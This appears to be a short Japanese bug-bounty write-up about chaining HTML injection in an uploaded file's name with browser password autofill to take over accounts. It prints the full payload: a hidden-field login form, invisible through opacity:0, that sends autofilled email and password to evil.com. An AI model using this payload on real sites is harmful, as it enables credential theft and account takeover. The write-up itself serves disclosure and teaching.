Hello there, ('ω')ノ
自動保存機能を利用してログイン資格情報を盗むを。
脆弱性:
HTMLインジェクション
記事:
自動保存機能を悪用/連鎖して、被害者のアカウントを乗っ取ることに。
private.comと仮定して。
Webサイトを探索しているときに、適切にサニタイズして。
ファイルアップロード機能を入力していると注意を引いて。
まずは、ファイルをアップロードすると。
共有できる公開リンクがあって。
アップロードしたファイルを他の人も見ることができるので。
アップロードのチェックをバイパスして、SVG、HTML、PHPを実行したものの。
うまくいかなかったので、ファイルの名前を<h1>xd.jpgに変更して。
パブリックリンクからファイルにアクセスすると。
ファイル名が原因でHTMLが挿入されるので。
ここで、HTMLインジェクションを取得して。
次の部分は、自動保存された機能で。
基本的に、ブラウザにログインクレデンシャルを保存して。
アカウントにログインしようとすると。
ブラウザが自動的に電子メールを入力してパスするので。
ログインをクリックするだけでいいので。
ログインフォームを作成し、CSSでopacity:0を設定して。
メールとパスワードのフィールドを非表示にすることに。
最終的にファイル名は、『.jpg』となって。
“>
<form action=”//evil.com” method=”GET”>
<input type=”text” name=”u” style=’opacity:0;’>
<input type=”password” name=”p” style=’opacity:0;’>
<input type=”submit” name=”s” value=”submit”>
<! -- .jpg
下記は、アップロードしたファイルのパブリックリンクを取得できる場所で。
下記は、アップロードしたファイルの公開URLにアクセスした後のページの外観で。
ペイロードのsubmitボタンが表示されて。
誰かがクリックすると。
自分のアカウントのログイン資格情報を攻撃者のサーバに送信されて。
これがどのように機能するかというと。
自動保存された機能によって、入力フィールドは自動的に入力されて。
style=’opacity:0;’で、ページに表示されている詳細を非表示にして。
フォームを送信するとき、form actionでmethod=”GET”に設定したので。
ログイン資格情報がGETリクエストとともにevil.comに送信されるので。
詳細は自動的にevil.comに送信されて。
これは攻撃者のドメインで。
最後の<! --で、ページ上のすべてのHTMLをコメントアウトして。
Best regards, (^^ゞ